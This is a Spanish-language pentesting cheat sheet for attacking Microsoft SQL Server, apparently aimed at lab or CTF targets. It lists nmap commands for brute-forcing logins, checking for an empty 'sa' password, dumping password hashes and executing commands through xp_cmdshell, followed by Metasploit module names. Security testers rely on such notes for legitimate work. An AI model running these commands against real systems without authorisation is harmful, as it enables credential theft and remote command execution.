MSSQL (1433)

MSSQL, o Microsoft SQL Server, es un sistema de gestión de bases de datos relacional desarrollado por Microsoft. Es utilizado para almacenar y recuperar datos según las necesidades de diferentes aplicaciones, desde pequeñas a grandes empresas. MSSQL ofrece características avanzadas como soporte para transacciones, integridad referencial, seguridad robusta y herramientas de administración y desarrollo. Es conocido por su integración estrecha con otros productos de Microsoft, como .NET Framework y Azure, y utiliza T-SQL (Transact-SQL) como su lenguaje de consulta.

Nmap

Scripts de nmap utiles para este servicio:

  • ms-sql-info

  • ms-sql-ntlm-info

  • ms-sql-brute

  • ms-sql-empty-password

  • ms-sql-query

  • ms-sql-dump-hashes

  • ms-sql-xp-cmdshell

nmap --script ms-sql-info -p 1433 192.168.1.10

Comprobar autenticación NTLM

nmap --script ms-sql-ntlm-info --script-args mssql.instance-port 1433 192.168.1.10

Enumerar usuarios y contraseña validos para MSSQL

nmap -p 1433 --script ms-sql-brute -script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 192.168.1.10

Comprobar si el usuario "sa" tiene configurada la contraseña como vacia

nmap -p 1433 --script ms-sql-empty-password 192.168.1.10

Extraer todos los usuarios con sesión con una consulta sql

nmap -p 1433 --script ms-sql-query --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-query="SELECT * FROM master..syslogins" 192.168.1.10 -oN output.txt

Extraer todos los hashes de los usuarios

nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<USER>,mssql.password=<PASSWORD> 192.168.1.10

Ejecutar un comando en la máquina victima usando xp_cmdshell

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-xp-cmdshell.cmd="type C:\flag.txt" 192.168.1.10

Metasploit

  • auxiliary/scanner/mssql/mssql_login

  • auxiliary/admin/mssql/mssql_enum

  • auxiliary/admin/mssql/mssql_enum_sql_logins

  • auxiliary/admin/mssql/mssql_exec

  • auxiliary/admin/mssql/mssql_enum_domain_accounts

Última actualización